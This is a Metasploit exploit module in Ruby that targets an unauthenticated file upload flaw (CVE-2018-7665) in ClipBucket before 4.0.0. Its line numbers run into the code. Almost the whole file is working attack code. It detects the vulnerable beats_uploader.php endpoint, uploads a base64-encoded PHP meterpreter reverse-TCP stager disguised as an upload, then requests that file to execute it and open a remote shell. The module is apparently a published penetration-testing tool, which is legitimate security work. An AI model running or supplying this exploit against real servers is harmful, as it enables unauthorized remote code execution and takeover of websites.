Path: blob/master/modules/exploits/multi/http/clipbucket_fileupload_exec.rb
19500 views
##1# This module requires Metasploit: https://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework2##34class MetasploitModule < Msf::Exploit::Remote5Rank = ExcellentRanking67include Msf::Exploit::Remote::HttpClient8include Msf::Exploit::FileDropper910def initialize(info = {})11super(12update_info(13info,14'Name' => "ClipBucket beats_uploader Unauthenticated Arbitrary File Upload",15'Description' => %q{16This module exploits a vulnerability found in ClipBucket versions before 4.0.0 (Release 4902).17A malicious file can be uploaded using an unauthenticated arbitrary file upload vulnerability.18It is possible for an attacker to upload a malicious script to issue operating system commands.19This issue is caused by improper session handling in /action/beats_uploader.php file.20This module was tested on ClipBucket before 4.0.0 - Release 4902 on Windows 7 and Kali Linux.21},22'License' => MSF_LICENSE,23'Author' => [24'www.sec-consult.com', # Vulnerability Discovery, PoC25'Touhid M.Shaikh <admin[at]touhidshaikh.com>' # Metasploit module26],27'References' => [28[ 'CVE', '2018-7665' ],29[ 'EDB', '44250' ]30],31'DefaultOptions' => {32'SSL' => false,33'PAYLOAD' => 'php/meterpreter/reverse_tcp',34'Encoder' => 'php/base64'35},36'Platform' => ['php'],37'Arch' => ARCH_PHP,38'Targets' => [39['Clipbucket < 4.0.0 - Release 4902', {}]40],41'Privileged' => false,42'DisclosureDate' => '2018-03-03',43'DefaultTarget' => 0,44'Notes' => {45'Reliability' => UNKNOWN_RELIABILITY,46'Stability' => UNKNOWN_STABILITY,47'SideEffects' => UNKNOWN_SIDE_EFFECTS48}49)50)5152register_options(53[54OptString.new('TARGETURI', [true, 'The base path to the ClipBucket application', '/'])55]56)57end5859def uri60return target_uri.path61end6263def check64vprint_status('Trying to detect ClipBucket on target.')6566# check for readme file67res = send_request_cgi({68'method' => 'GET',69'uri' => normalize_uri(uri, 'readme')70})7172unless res73vprint_error('Connection failed')74return CheckCode::Unknown75end7677unless res.code == 200 && res.body.include?('ClipBucket')78vprint_error('Could not find readme')79return CheckCode::Safe80end8182# check for beats_uploader.php file83res = send_request_cgi({84'method' => 'GET',85'uri' => normalize_uri(uri, 'actions', 'beats_uploader.php')86})8788unless res89vprint_error('Connection failed')90return CheckCode::Unknown91end9293unless res.code == 20094vprint_error('Could not find beats_uploader.php')95return CheckCode::Safe96end9798Exploit::CheckCode::Appears99end100101def exploit102# generate the PHP meterpreter payload103stager = '<?php '104stager << payload.encode105stager << '?>'106107# Setting POST data108post_data = Rex::MIME::Message.new109post_data.add_part(stager, content_type = 'application/octet-stream', transfer_encoding = nil, content_disposition = 'form-data; name="file"; filename="pfile.php"') # payload110post_data.add_part('1', content_type = nil, transfer_encoding = nil, content_disposition = 'form-data; name="plupload"') # require for uploading111post_data.add_part('agent22.php', content_type = nil, transfer_encoding = nil, content_disposition = 'form-data; name="name"')112data = post_data.to_s113114print_status('Uploading payload..')115res = send_request_cgi({116'method' => 'POST',117'uri' => normalize_uri(uri, 'actions', 'beats_uploader.php'),118'data' => data,119'ctype' => "multipart/form-data; boundary=#{post_data.bound}"120})121122jsonres = res.get_json_document123124# If the server returns 200 and success yes, we assume we uploaded the malicious125# file successfully126unless res && res.code == 200 && jsonres['success'] == 'yes'127fail_with(Failure::None, "#{peer} - File wasn't uploaded, aborting!")128end129print_good('Looking For Payload..')130pdir = jsonres['file_directory']131file_name = jsonres['file_name']132pext = jsonres['extension']133print_good("found payload in /actions/#{pdir}/#{file_name}.#{pext}")134135# Payload name136pname = "#{file_name}.php"137138# Cleanup is Good Idea .139register_files_for_cleanup(pname)140141print_status("Executing Payload [ #{uri}/actions/#{pdir}/#{pname} ]")142res = send_request_cgi({143'method' => 'GET',144'uri' => normalize_uri(uri, 'actions', pdir, pname)145})146147# If we don't get a 200 when we request our malicious payload, we suspect148# we don't have a shell, either.149if res && res.code != 200150print_error('Unexpected response, probably the exploit failed')151end152end153end154155156